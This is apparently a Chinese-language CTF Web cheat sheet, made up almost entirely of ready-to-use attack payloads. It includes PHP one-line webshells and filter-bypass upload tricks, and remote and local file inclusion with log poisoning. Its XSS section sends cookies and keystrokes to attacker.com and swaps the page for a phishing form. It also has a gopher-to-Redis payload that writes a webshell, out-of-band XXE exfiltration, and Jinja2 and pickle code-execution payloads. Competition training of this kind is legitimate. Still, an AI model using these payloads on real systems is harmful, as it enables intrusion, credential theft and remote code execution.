📊 一、Web考点知识体系全景
Web安全知识体系
├── 注入类漏洞
│ ├── SQL注入
│ ├── 命令注入
│ ├── 模板注入
│ └── XML注入
├── 客户端漏洞
│ ├── XSS (跨站脚本)
│ ├── CSRF (跨站请求伪造)
│ ├── 点击劫持
│ └── 开放重定向
├── 文件处理漏洞
│ ├── 文件上传
│ ├── 文件包含
│ ├── 路径遍历
│ └── XXE (XML外部实体)
├── 逻辑漏洞
│ ├── 认证绕过
│ ├── 越权访问
│ ├── 条件竞争
│ └── 业务逻辑缺陷
├── 服务端漏洞
│ ├── SSTI (服务端模板注入)
│ ├── 反序列化
│ ├── SSRF (服务端请求伪造)
│ └── 表达式注入
└── 其他考点
├── HTTP协议攻击
├── 信息泄露
├── 代码审计
└── 编码绕过
🔍 二、SQL注入详解
2.1 检测SQL注入点
-- 数字型注入
?id=1 and 1=1 -- 正常
?id=1 and 1=2 -- 异常
-- 字符型注入
?id=1' and '1'='1 -- 正常
?id=1' and '1'='2 -- 异常
-- 布尔盲注检测
?id=1' and ascii(substr(database(),1,1))>97 -- 根据页面变化判断
?id=1' and if(1=1,sleep(2),0) -- 时间盲注
2.2 常用Payload分类
-- 联合查询
1' union select 1,database(),3--+
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
1' union select 1,group_concat(username,':',password),3 from users--+
-- 报错注入
1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
1' and extractvalue(1,concat(0x7e,(select database())))--+
1' and (select 1 from (select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
-- 布尔盲注
1' and length(database())>5--+
1' and substr(database(),1,1)='t'--+
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97--+
-- 时间盲注
1' and if(ascii(substr(database(),1,1))>100,sleep(3),0)--+
1' and (select sleep(3) from users where username='admin')--+
-- 堆叠注入
1'; show databases;--+
1'; select if(1=1,sleep(3),0);--+
2.3 绕过技巧
-- 大小写绕过
UnIoN SeLeCt
-- 双写绕过
ununionion selselectect
-- 注释符绕过
union/**/select
union/*!50000select*/
-- 编码绕过
union%0aselect
union%09select
-- 内联注释
/*!union*/ /*!select*/
-- 科学计数法
1.e0union select
-- 16进制编码
union select 0x31,0x32
📁 三、文件上传漏洞
3.1 常见检查与绕过
# 1. 前端JS验证绕过
# 直接修改HTML或禁用JS
# 使用BurpSuite拦截修改
# 2. 后缀名黑名单绕过
shell.php -> shell.php5 (PHP5)
-> shell.phtml
-> shell.phps
-> shell.php7
-> shell.phar
-> shell.htaccess
-> shell.pHp (大小写)
-> shell.php. (Windows特性)
-> shell.php%20
-> shell.php:1.jpg (NTFS特性)
-> shell.php::$DATA
# 3. Content-Type绕过
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: text/plain -> image/jpeg
# 4. 文件头检测绕过
# 在文件开头添加图片头
GIF89a
‰PNG
\xff\xd8\xff (JPEG)
<?php ... ?>
# 5. 二次渲染绕过
# 上传包含一句话的图片马
# 或用工具制作免杀图片马
3.2 实战Payload
# 一句话木马合集
<?php @eval($_POST['cmd']);?>
<?php system($_GET['cmd']);?>
<?php assert($_POST['cmd']);?>
<?= `$_GET[cmd]`;?>
<script language="php">@eval($_POST['cmd'])</script>
# 无字母数字webshell
<?=$_=~"%a0%af%a0%af"[0];$__=$_^"%8c%86%8c%86"[2];$___=$__($___.$__);?>
# .htaccess文件攻击
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
AddType application/x-httpd-php .jpg
# 利用文件包含
# 上传.txt文件,再通过文件包含解析
<?php include 'upload/shell.txt';?>
🔄 四、文件包含漏洞
4.1 包含类
# PHP文件包含函数
include()
include_once()
require()
require_once()
# 读取文件
file_get_contents()
file()
readfile()
highlight_file()
show_source()
# RFI (远程文件包含) - 需要allow_url_include=On
?page=http://attacker.com/shell.txt
?page=ftp://attacker.com/shell.txt
?page=php://input
?page=data://text/plain,<?php phpinfo();?>
?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
# LFI (本地文件包含)
?page=../../../../etc/passwd
?page=php://filter/convert.base64-encode/resource=index.php
?page=zip://path/to/file.zip%23shell.php
?page=phar://path/to/file.phar/shell.php
4.2 利用技巧
# 1. 目录遍历
?file=../../../etc/passwd
?file=....//....//....//etc/passwd
?file=..\..\..\windows\win.ini
# 2. PHP协议利用
# 读取源码
php://filter/convert.base64-encode/resource=index.php
php://filter/read=convert.base64-encode/resource=index.php
php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
# 执行代码
php://input [POST DATA: <?php system('ls');?>]
data://text/plain,<?php phpinfo();?>
expect://id
# 3. ZIP/PHAR协议
zip:///var/www/html/uploads/shell.zip%23shell.php
phar://./uploads/shell.phar/shell.php
# 4. 日志包含
?file=/var/log/nginx/access.log
?file=/var/log/apache2/access.log
?file=/var/log/auth.log
# 在User-Agent中插入<?php system($_GET['cmd']);?>
# 然后包含日志文件
🎯 五、XSS跨站脚本攻击
5.1 XSS类型与Payload
# 反射型XSS
<script>alert(1)</script>
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
"><script>alert(1)</script>
'><script>alert(1)</script>
"><img src=x onerror=alert(1)>
javascript:alert(1)
# 存储型XSS
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
<img src=x onerror="new Image().src='http://attacker.com/steal?cookie='+document.cookie;">
# DOM型XSS
# 利用innerHTML、document.write、eval等
<img src=x onerror=alert(1)>
# 绕过技巧
<ScRiPt>alert(1)</ScRiPt>
<script\x20type="text/javascript">javascript:alert(1);</script>
<iframe/src="javascript:alert(1)">
# 编码绕过
%3Cscript%3Ealert(1)%3C/script%3E
<scr<script>ipt>alert(1)</scr</script>ipt>
\u003cscript\u003ealert(1)\u003c/script\u003e
<script>alert(1)</script>
5.2 利用框架
# Beef-XSS Hook
<script src="http://attacker:3000/hook.js"></script>
# 窃取Cookie
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>
# 键盘记录
<script>
document.onkeypress = function(e) {
new Image().src='http://attacker.com/log?key='+e.key;
}
</script>
# 钓鱼攻击
<script>
document.body.innerHTML = '<form action="http://attacker.com/steal" method="POST">' +
'<input name="username" placeholder="Username">' +
'<input name="password" type="password" placeholder="Password">' +
'<input type="submit" value="Login">' +
'</form>';
</script>
🔧 六、SSRF服务端请求伪造
6.1 SSRF攻击点
# 常用参数
url=
file=
path=
src=
load=
read=
target=
domain=
redirect=
uri=
page=
6.2 利用协议
# 探测内网
http://127.0.0.1:80
http://127.0.0.1:22
http://127.0.0.1:3306
http://192.168.1.1:8080
# 文件读取
file:///etc/passwd
file:///C:/Windows/win.ini
file:///proc/self/cmdline
file:///proc/self/environ
# 协议利用
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%3C%3Fphp%20eval%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
dict://127.0.0.1:6379/info
ldap://127.0.0.1:389
ftp://attacker.com:21/file.txt
# 绕过技巧
http://127.0.0.1 -> http://localhost
http://127.0.0.1 -> http://[::1]
http://127.0.0.1 -> http://2130706433
http://127.0.0.1 -> http://0x7f000001
http://127.0.0.1 -> http://127.1
http://127.0.0.1 -> http://127.0.0.1.nip.io
📄 七、XXE XML外部实体注入
7.1 基础XXE
<!-- 读取文件 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
<!-- 带外数据传输 -->
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<foo>&send;</foo>
<!-- evil.dtd 内容 -->
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?%file;'>">
%all;
7.2 利用方式
# 1. 文件读取
file:///etc/passwd
file:///c:/windows/win.ini
file:///proc/self/cmdline
file:///proc/self/environ
# 2. 内网探测
<!ENTITY xxe SYSTEM "http://192.168.1.1:80">
# 3. SSRF
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">
# 4. 盲XXE
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
🍃 八、SSTI服务端模板注入
8.1 常见模板引擎检测
# Flask/Jinja2
{{7 * 7}} = 49
{{config}} 或 {{self}}
{{''.__class__.__mro__[1].__subclasses__()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
# Tornado
{{7 * 7}} = 49
{% import os %}{{ os.popen("whoami").read() }}
# Twig
{{7 * 7}} = 49
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
8.2 常用Payload
# 1. 基本检测
{{7*'7'}} -> 7777777
{{7 * 7}} -> 49
{{config}}
{{self}}
# 2. 命令执行
# Jinja2
{{''.__class__.__mro__[1].__subclasses__()[408]('ls', shell=True, stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
# 3. 写文件
{{''.__class__.__mro__[1].__subclasses__()[408]('cat /flag > /tmp/flag', shell=True)}}
🔄 九、反序列化漏洞
9.1 PHP反序列化
# 常见危险函数
unserialize()
__destruct() # 析构函数触发
__wakeup() # 反序列化时触发
__toString() # 对象被当作字符串时触发
# 基本Payload构造
class Test {
public $cmd = "whoami";
public function __destruct() {
system($this->cmd);
}
}
$obj = new Test();
echo serialize($obj);
# 输出: O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}
9.2 Python反序列化
# pickle利用
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return (os.system, ('id',))
pickled = pickle.dumps(RCE())
print(base64.b64encode(pickled))
🔍 十、信息泄露与路径遍历
10.1 常见泄露点
# Git泄露
/.git/
/.git/config
/.git/logs/HEAD
/.git/index
# SVN泄露
/.svn/
/.svn/entries
/.svn/wc.db
# DS_Store
/.DS_Store
# 备份文件
index.php.bak
index.php.swp
index.php~
web.zip.bak
database.sql.bak
# 配置文件
/.env
/config.php
/web.config
.htaccess
robots.txt
# API/调试信息
/phpinfo.php
/test.php
/debug.php
/admin/phpinfo.php
10.2 路径遍历Payload
# Unix/Linux
../../../etc/passwd
../../../../etc/passwd
....//....//....//etc/passwd
/var/www/html/../../etc/passwd
/etc/passwd%00
/etc/passwd%00.jpg
# Windows
..\..\..\windows\win.ini
C:\windows\win.ini
..\..\..\..\..\windows\system32\drivers\etc\hosts
# 编码绕过
..%2f..%2f..%2fetc%2fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
🛠️ 十一、实用工具链
11.1 浏览器插件
-
HackTools - Web安全工具集合
-
Wappalyzer - 技术栈识别
-
EditThisCookie - Cookie管理器
-
SwitchyOmega - 代理切换
-
React/ Vue Developer Tools - 前端框架调试
11.2 常用命令
# 目录扫描
dirsearch -u http://target.com -e php,html,txt
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# 子域名枚举
subfinder -d target.com
amass enum -d target.com
gobuster dns -d target.com -w subdomains.txt
# 端口扫描
nmap -sS -sV -p- target.com
masscan -p1-65535 target.com --rate=1000
# SQL注入
sqlmap -u "http://target.com?id=1" --dbs
sqlmap -r request.txt --batch --risk=3 --level=5
# 文件包含测试
ffuf -w LFI-wordlist.txt -u "http://target.com/page?file=FUZZ"
# XXE测试
xxe-injector
XXEinjector
🎯 十二、实战解题流程
12.1 标准化攻击流程
信息收集--》漏洞发现--》漏洞利用--》获取shell--》权限提升--》获取flag
12.2 检查清单
□ 1. 信息收集
- [ ] 端口扫描
- [ ] 目录扫描
- [ ] 子域名枚举
- [ ] 技术栈识别
- [ ] 源代码分析
- [ ] robots.txt/.git等
□ 2. 漏洞探测
- [ ] SQL注入测试
- [ ] XSS测试
- [ ] 文件上传测试
- [ ] 文件包含测试
- [ ] 命令注入测试
- [ ] SSRF测试
- [ ] XXE测试
- [ ] 反序列化测试
□ 3. 认证绕过
- [ ] 弱口令爆破
- [ ] 密码重置逻辑漏洞
- [ ] Session伪造
- [ ] JWT攻击
- [ ] OAuth绕过
□ 4. 权限提升
- [ ] 水平越权
- [ ] 垂直越权
- [ ] IDOR测试
💡 十三、高级技巧与思维
13.1 不常见绕过技巧
# 1. 特殊字符截断
test.php%00.jpg
test.php\x00.jpg
test.php;.jpg
test.php%0d%0a.jpg
test.php%0a.jpg
# 2. 空格绕过
<img/src="x"/onerror="alert(1)">
<svg/onload=alert(1)>
# 3. 标签属性绕过
<iframe srcdoc="<script>alert(1)</script>"></iframe>
<details ontoggle=alert(1)>
<video onloadstart=alert(1) src=1>
# 4. Unicode编码
\u003cscript\u003ealert(1)\u003c/script\u003e
<ſcript src=//evil.site/x.js>
# 5. CSS注入
<style>@import 'http://evil.com/x.css';</style>
<div style="background:url('javascript:alert(1)')">
13.2 比赛实用技巧
-
时间管理:先做容易的,标记难题
-
团队协作:明确分工,及时同步
-
自动化:编写脚本处理重复任务
-
信息记录:用Markdown记录所有发现
-
思维发散:尝试非预期解法
-
源码审计:找到源码就等于成功一半
-
关注新漏洞:0day、1day经常出现
-
利用环境:Docker逃逸、K8s逃逸等
🎁 十四、CTF Web题目的Flag位置
14.1 常见Flag位置
# 数据库
SELECT flag FROM flags
SELECT password FROM users WHERE username='admin'
# 文件系统
/flag
/root/flag.txt
/home/ctf/flag
/var/www/html/flag.php
/opt/flag
/proc/1/environ
/proc/self/cwd/flag
# 环境变量
echo $FLAG
env | grep -i flag
# 网络
curl http://127.0.0.1/flag
curl http://admin.localhost/flag
# 内存
cat /proc/1/mem | strings
14.2 终极思维
Web题的本质是:
-
找到入口点 - 任何用户输入都是可疑的
-
突破边界 - 从当前权限进入更高权限
-
信息拼接 - 把碎片信息组合成完整攻击链
-
自动化思维 - 手工验证后立即写脚本
-
控制反转 - 从被服务器控制到控制服务器
记住:**每个输入点都是一个机会,每个输出点都可能泄露信息。保持好奇心,保持怀疑,保持探索!** 🚀